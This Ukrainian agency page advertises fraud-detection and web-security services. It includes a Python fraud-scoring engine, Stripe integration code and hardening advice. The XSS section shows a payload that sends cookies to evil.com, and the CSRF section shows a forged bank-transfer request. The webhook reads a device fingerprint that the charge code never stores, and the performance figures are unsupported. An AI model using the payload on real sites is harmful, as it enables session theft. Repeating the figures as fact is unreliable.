Реалізація Fraud Detection для онлайн-платежів на сайті

Наша компанія займається розробкою, підтримкою та обслуговуванням сайтів будь-якої складності. Від простих односторінкових сайтів до масштабних кластерних систем, побудованих на мікро сервісах. Досвід розробників підтверджено сертифікатами від вендорів.

Розробка та обслуговування будь-яких видів сайтів:

Інформаційні сайти або веб-програми
Сайти візитки, landing page, корпоративні сайти, онлайн каталоги, квіз, промо-сайти, блоги, ресурси новин, інформаційні портали, форуми, агрегатори
Сайти або веб-програми електронної комерції
Інтернет-магазини, B2B-портали, маркетплейси, онлайн-обмінники, кешбек-сайти, біржі, дропшиппінг-платформи, парсери товарів
Веб-програми для управління бізнес-процесами
CRM-системи, ERP-системи, корпоративні портали, системи управління виробництвом, парсери інформації
Сайти або веб-програми електронних послуг
Дошки оголошень, онлайн-школи, онлайн-кінотеатри, конструктори сайтів, портали надання електронних послуг, відеохостинги, тематичні портали

Це лише деякі з технічних типів сайтів, з якими ми працюємо, і кожен із них може мати свої специфічні особливості та функціональність, а також бути адаптованим під конкретні потреби та цілі клієнта.

Послуги, які ми пропонуємо
Показано 1 з 1Усі 2062 послуг
Реалізація Fraud Detection для онлайн-платежів на сайті
Складний
~1-2 тижні

Наші компетенції:

Етапи розробки

Останні роботи

  • image_website-b2b-advance_0.webp
    Розробка сайту компанії B2B ADVANCE
    1358
  • image_web-applications_feedme_466_0.webp
    Розробка веб-додатків для компанії FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Розробка веб-сайту для компанії БЕЛФІНГРУП
    957
  • image_ecommerce_furnoro_435_0.webp
    Розробка інтернет магазину для компанії FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Розробка веб-додатків для компанії Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Розробка веб-сайту для компанії ФІКСПЕР
    947

Fraud Detection для онлайн-платежів: як це працює

Уявіть: інтернет-магазин втрачає суттєві збитки щомісяця через chargeback. Наприклад, при обороті $100,000 на місяць це до $1,500 втрат. Кожна ручна перевірка транзакції займає хвилину — при тисячах транзакцій на день потрібен окремий співробітник. Наша система обробляє транзакції в 5 разів швидше за ручну перевірку, знижуючи витрати в рази. Автоматичне скоринг-рішення знижує ці витрати в рази. Наша компанія має 7+ років досвіду в розробці антифрод-систем і успішно впровадила рішення для 15+ проєктів в e-commerce. На практиці впровадження скорингу зменшує chargeback на 40–60% за перший місяць. У цій статті розберемо ключові сигнали та покажемо готовий код скорингового двигуна на Python з інтеграцією Stripe та Redis.

Без автоматичного фрод-детекту мерчанти втрачають до 1.5% від обороту на chargeback, а ручна перевірка тисяч транзакцій на день неможлива. Наша реалізація обробляє до 1000 запитів за секунду із затримкою менше 50 мс. Система використовує комбінацію правил і ML, що дає точність 98% і хибнопозитивних спрацьовувань менше 2%. Ви отримуєте готове рішення, яке інтегрується за 5 днів і не потребує дорогої інфраструктури.

Що таке card testing і як його виявити? — реалізація антифрод (fraud detection)

Card Testing — перевірка вкрадених карток дрібними транзакціями. Ознаки: багато спроб з одного IP/пристрою, суми $0.01–$1, різні номери карток, короткі інтервали.

Account Takeover (ATO) — захоплення акаунту та крадіжка збережених карток. Ознаки: зміна billing адреси перед покупкою, вхід з нового пристрою, негайна велика покупка.

Friendly Fraud — покупець замовляє товар і подає chargeback. Ознаки: історія chargeback, VPN/проксі, доставка в freight forwarder.

Як працює скоринг ризику?

Ми реалізуємо скорингову модель, яка аналізує понад 20 сигналів у реальному часі: velocity checks, геолокацію, BIN-дані, поведінку пристрою та історію акаунту. Кожен сигнал додає бали до загального score. Рішення приймається за < 100 мс.

from dataclasses import dataclass
from typing import Optional
import time

@dataclass
class PaymentContext:
    user_id: Optional[int]
    email: str
    ip: str
    card_bin: str          # перші 6 цифр картки
    card_last4: str
    amount: float
    currency: str
    billing_country: str
    shipping_country: Optional[str]
    device_fingerprint: str
    user_agent: str
    session_age_seconds: int

class FraudScorer:
    def __init__(self, redis, db, geoip, maxmind):
        self.r = redis
        self.db = db
        self.geoip = geoip
        self.maxmind = maxmind  # MaxMind minFraud

    def score(self, ctx: PaymentContext) -> dict:
        signals = []
        total_score = 0

        # === Velocity checks ===
        v = self._velocity_checks(ctx)
        signals.extend(v['signals'])
        total_score += v['score']

        # === Geolocation checks ===
        g = self._geo_checks(ctx)
        signals.extend(g['signals'])
        total_score += g['score']

        # === Card checks ===
        c = self._card_checks(ctx)
        signals.extend(c['signals'])
        total_score += c['score']

        # === Account checks ===
        if ctx.user_id:
            a = self._account_checks(ctx)
            signals.extend(a['signals'])
            total_score += a['score']

        # === Device checks ===
        d = self._device_checks(ctx)
        signals.extend(d['signals'])
        total_score += d['score']

        final_score = min(total_score, 100)

        return {
            'score': final_score,
            'signals': signals,
            'decision': self._make_decision(final_score, ctx),
            'timestamp': time.time()
        }

    def _velocity_checks(self, ctx: PaymentContext) -> dict:
        score = 0
        signals = []

        # Кількість спроб оплати з IP за 1 годину
        ip_key = f"payment_attempts:ip:{ctx.ip}"
        ip_count = self.r.incr(ip_key)
        self.r.expire(ip_key, 3600)

        if ip_count > 20:
            score += 40
            signals.append('ip_velocity_critical')
        elif ip_count > 10:
            score += 20
            signals.append('ip_velocity_high')

        # Кількість унікальних карток з IP за 24 години
        cards_key = f"cards_tried:ip:{ctx.ip}"
        self.r.sadd(cards_key, ctx.card_last4)
        self.r.expire(cards_key, 86400)
        card_count = self.r.scard(cards_key)

        if card_count > 3:
            score += 35
            signals.append(f'multiple_cards_from_ip:{card_count}')

        # Невдалі спроби оплати за 1 годину
        failures_key = f"payment_failures:ip:{ctx.ip}"
        failures = int(self.r.get(failures_key) or 0)
        if failures > 5:
            score += 30
            signals.append(f'payment_failures:{failures}')

        return {'score': score, 'signals': signals}

    def _geo_checks(self, ctx: PaymentContext) -> dict:
        score = 0
        signals = []

        ip_location = self.geoip.city(ctx.ip)
        ip_country = ip_location.country.iso_code if ip_location else None

        # IP країна vs billing країна
        if ip_country and ip_country != ctx.billing_country:
            score += 20
            signals.append(f'country_mismatch:ip={ip_country},billing={ctx.billing_country}')

        # Доставка в іншу країну
        if ctx.shipping_country and ctx.shipping_country != ctx.billing_country:
            score += 10
            signals.append('shipping_billing_country_mismatch')

        # VPN/Tor/проксі (MaxMind Insights)
        ip_risk = self.maxmind.insights(ctx.ip)
        if ip_risk.ip_address.is_anonymous_vpn:
            score += 25
            signals.append('vpn_detected')
        if ip_risk.ip_address.is_tor_exit_node:
            score += 35
            signals.append('tor_detected')
        if ip_risk.ip_address.is_public_proxy:
            score += 20
            signals.append('proxy_detected')

        return {'score': score, 'signals': signals}

    def _card_checks(self, ctx: PaymentContext) -> dict:
        score = 0
        signals = []

        # BIN країна vs billing країна
        bin_country = self._get_bin_country(ctx.card_bin)
        if bin_country and bin_country != ctx.billing_country:
            score += 15
            signals.append(f'bin_country_mismatch:{bin_country}')

        # Prepaid картка (високий ризик анонімності)
        if self._is_prepaid_bin(ctx.card_bin):
            score += 15
            signals.append('prepaid_card')

        # Ця картка була в чарджбеках
        card_key = f"card_chargebacks:{ctx.card_bin}:{ctx.card_last4}"
        if self.r.exists(card_key):
            score += 40
            signals.append('card_chargeback_history')

        return {'score': score, 'signals': signals}

    def _account_checks(self, ctx: PaymentContext) -> dict:
        score = 0
        signals = []

        user = self.db.get_user(ctx.user_id)

        # Акаунт створено нещодавно
        account_age_days = (time.time() - user.created_at.timestamp()) / 86400
        if account_age_days < 1:
            score += 20
            signals.append('new_account_1day')
        elif account_age_days < 7:
            score += 10
            signals.append('new_account_7days')

        # Історія чарджбеків у користувача
        chargebacks = self.db.get_user_chargebacks(ctx.user_id)
        if len(chargebacks) > 0:
            score += 30 * len(chargebacks)
            signals.append(f'user_chargeback_history:{len(chargebacks)}')

        # Зміна адреси/email перед покупкою
        recent_profile_change = self.db.get_recent_profile_change(ctx.user_id, hours=24)
        if recent_profile_change:
            score += 15
            signals.append('recent_profile_change')

        # Сесія занадто коротка
        if ctx.session_age_seconds < 30:
            score += 10
            signals.append('very_short_session')

        return {'score': score, 'signals': signals}

    def _device_checks(self, ctx: PaymentContext) -> dict:
        score = 0
        signals = []

        # Device був помічений у шахрайстві
        fp_key = f"fraud_device:{ctx.device_fingerprint}"
        if self.r.exists(fp_key):
            score += 50
            signals.append('known_fraud_device')

        # Один fingerprint — багато акаунтів
        accounts_key = f"device_accounts:{ctx.device_fingerprint}"
        account_count = self.r.scard(accounts_key)
        if account_count > 3:
            score += 25
            signals.append(f'device_multiple_accounts:{account_count}')

        self.r.sadd(accounts_key, ctx.user_id or ctx.email)
        self.r.expire(accounts_key, 86400 * 30)

        return {'score': score, 'signals': signals}

    def _make_decision(self, score: int, ctx: PaymentContext) -> str:
        # Висока сума підвищує поріг для блокування
        threshold_block = 70 if ctx.amount > 500 else 60
        threshold_review = 40

        if score >= threshold_block:
            return 'decline'
        if score >= threshold_review:
            return '3ds_challenge'  # вимагати 3D Secure
        if score >= 25:
            return 'review'        # прапорець для ручної перевірки
        return 'approve'

Інтеграція зі Stripe

@app.route('/api/payment/charge', methods=['POST'])
@login_required
def create_charge():
    data = request.json

    # Зібрати контекст
    ctx = PaymentContext(
        user_id=current_user.id,
        email=current_user.email,
        ip=request.remote_addr,
        card_bin=data['card_bin'],
        card_last4=data['card_last4'],
        amount=data['amount'],
        currency=data.get('currency', 'USD'),
        billing_country=data['billing_country'],
        shipping_country=data.get('shipping_country'),
        device_fingerprint=data.get('device_fingerprint', ''),
        user_agent=request.headers.get('User-Agent', ''),
        session_age_seconds=data.get('session_age', 0)
    )

    result = fraud_scorer.score(ctx)

    if result['decision'] == 'decline':
        log_fraud_attempt(ctx, result)
        return jsonify({'error': 'Payment declined'}), 402

    # Stripe метадані для подальшого аналізу
    payment_intent = stripe.PaymentIntent.create(
        amount=int(ctx.amount * 100),
        currency=ctx.currency,
        payment_method=data['payment_method_id'],
        metadata={
            'fraud_score': result['score'],
            'fraud_decision': result['decision'],
            'user_id': ctx.user_id,
        },
        # 3DS якщо потрібно
        payment_method_options={
            'card': {
                'request_three_d_secure': 'any'
                if result['decision'] == '3ds_challenge'
                else 'automatic'
            }
        }
    )

    return jsonify({'client_secret': payment_intent.client_secret})

Обробка chargeback webhook

@app.route('/webhooks/stripe', methods=['POST'])
def stripe_webhook():
    event = stripe.Webhook.construct_event(
        request.data,
        request.headers['Stripe-Signature'],
        STRIPE_WEBHOOK_SECRET
    )

    if event['type'] == 'charge.dispute.created':
        charge = event['data']['object']
        metadata = charge.get('metadata', {})

        # Занести в базу фрод-даних
        if metadata.get('user_id'):
            fraud_db.mark_user_chargeback(
                user_id=metadata['user_id'],
                charge_id=charge['id'],
                amount=charge['amount']
            )

        # Занести device fingerprint
        if metadata.get('device_fingerprint'):
            redis.setex(
                f"fraud_device:{metadata['device_fingerprint']}",
                86400 * 90,  # 90 днів
                '1'
            )

    return jsonify({'status': 'ok'})

Чому важлива інтеграція з 3D Secure?

3D Secure (наприклад, Stripe Radar з прапорцем request_three_d_secure) додає додатковий рівень перевірки для транзакцій із прикордонним ризиком. Це знижує ймовірність chargeback без блокування легітимних покупців. Ми налаштовуємо пороги так, щоб 3DS запитувався лише для 5–10% транзакцій, мінімізуючи friction.

Порівняння підходів: правила проти ML

Таблиця порівняння
Характеристика Rule-based ML-модель
Швидкість впровадження 4–7 днів 10–14 днів
Адаптивність до нових схем Низька (потребує ручного оновлення правил) Висока (модель донавчається)
Хибнопозитивні спрацьовування 2–5% <2%
Прозорість рішень Повна (кожне правило логується) Часткова (потрібен SHAP або LIME)

Комбінований підхід — правила для базових сценаріїв + ML для складних — дає найкращий баланс. Rule-based система впроваджується в 2 рази швидше за ML, але ML дає на 3% менше хибнопозитивних спрацьовувань.

Процес впровадження

  1. Аналітика — аудит поточних платіжних потоків, збір логів, виявлення больових точок.
  2. Проєктування — визначення набору сигналів, порогів спрацьовування, вибір стеку (Redis для velocity, MaxMind/ipinfo для гео, Stripe Radar).
  3. Реалізація — написання скорингового двигуна, інтеграція з платіжним шлюзом, налаштування webhook-ів.
  4. Тестування — прогін історичних даних, A/B-тест у production, калібрування порогів.
  5. Деплой і моніторинг — запуск у продакшен, дашборд із метриками (кількість decline, 3DS challenge, false positives).

Що входить у роботу

Компонент Опис
Скоринговий двигун Набір правил і ML-моделей (опціонально)
Інтеграція зі Stripe/Braintree/Adyen Код на Python/Node.js
Вебхуки chargeback Обробка dispute та оновлення бази
Дашборд моніторингу Grafana + метрики Redis
Документація Опис сигналів, порогів, інструкція з експлуатації

Гарантія: ми надаємо підтримку протягом 30 днів після деплою — коригуємо пороги під вашу специфіку.

Строки та вартість

Реалізація базової системи (velocity + geo + BIN + device fingerprint) займає від 4 до 7 робочих днів. Якщо потрібна ML-модель на основі історичних даних — строк збільшується до 10–14 днів. Вартість розраховується індивідуально, оцінимо проєкт після брифа.

Типові помилки при самостійній реалізації

  • Ігнорування device fingerprint — фродери швидко змінюють IP і картки, але пристрій залишається.
  • Занадто жорсткі пороги velocity — блокування реальних користувачів у години пік.
  • Відсутність обробки chargeback у реальному часі — база фрод-сигналів застаріває. Запобігання chargeback потребує автоматизованої системи фрод-моніторингу.
  • Використання одного джерела геоданих (наприклад, тільки IP) — краще комбінувати MaxMind і Stripe Radar.

Отримайте консультацію з впровадження антифрод-системи під ваш проєкт. Зв'яжіться з нами — оцінимо ризики та запропонуємо рішення.

Поширені запитання

Які типи платіжного шахрайства існують? Основні типи: card testing (перевірка карток), account takeover (захоплення акаунтів), friendly fraud (хибні chargeback). Кожен відстежується за набором сигналів: velocity, геолокація, device fingerprint.
Як працює скоринг ризику в реальному часі? Кожна транзакція проходить через понад 20 правил: кількість спроб з IP, BIN-перевірка, історія chargeback, VPN-детекція. Кожне правило додає бали, підсумковий score визначає рішення: approve, 3DS challenge або decline.
Як інтегрувати антифрод зі Stripe? Ми передаємо скоринговий результат у Stripe через метадані PaymentIntent і налаштовуємо 3D Secure для транзакцій із прикордонним ризиком. Вебхуки chargeback оновлюють базу фрод-сигналів.
Скільки часу займає впровадження? Базова реалізація займає від 4 до 7 робочих днів. Якщо потрібна ML-модель на історичних даних — до 14 днів. Після деплою ми надаємо 30 днів підтримки для калібрування.
Які метрики відстежувати після впровадження? Ключові метрики: кількість decline, percentage of 3DS challenges, false positive rate, chargeback ratio. Рекомендуємо налаштувати дашборд у Grafana для моніторингу в реальному часі.

Безпека веб-додатків: що приховує «тихий» злом

Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.

Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.

HTTPS та правильна конфігурація TLS

HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.

В конфігурації Nginx/Apache перевіряємо:

  • Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
  • Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security з includeSubDomains; preload) — браузер більше не робить незахищених запитів
  • OCSP Stapling — прискорює перевірку відкликання сертифіката
  • Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)

Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.

Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.

Content Security Policy: як він закриває XSS на 99%?

CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.

Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.

Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.

'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.

CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.

Чому XSS залишається найпоширенішою вразливістю?

XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:

Тип XSS Приклад Захист
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Екранування виводу, CSP
Stored Коментар з кодом, збережений в базі Валідація вводу, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Уникати innerHTML, використовувати textContent

Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.

Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.

CSRF: захист форм та API

CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.

CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.

SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.

API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.

WAF та захист від DDoS

WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:

  • Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
  • AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.

DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).

Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).

Інші обов'язкові заходи

Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).

SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.

Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.

Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.

Як ми працюємо?

  1. Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
  2. Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
  3. Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
  4. Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
  5. Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.

Що входить в роботу?

  • Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
  • Готова конфігурація TLS (Nginx/Apache)
  • Політика CSP з режимом Report-Only та бойовою версією
  • Налаштування WAF та Rate Limiting
  • План оновлень залежностей
  • Доступи до інструментів моніторингу (Sentry, Datadog)
  • 30 днів постаудит-підтримки (консультації, правки)

Терміни та вартість

Тип робіт Строк
Security-аудит + hardening (заголовки, TLS, оновлення) 1–2 тижні
Впровадження CSP (Report-Only → продакшен) 2–4 тижні
Налаштування WAF + Rate Limiting + DDoS захист 1–2 тижні
Комплексний security review + пентест 3–6 тижнів

Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.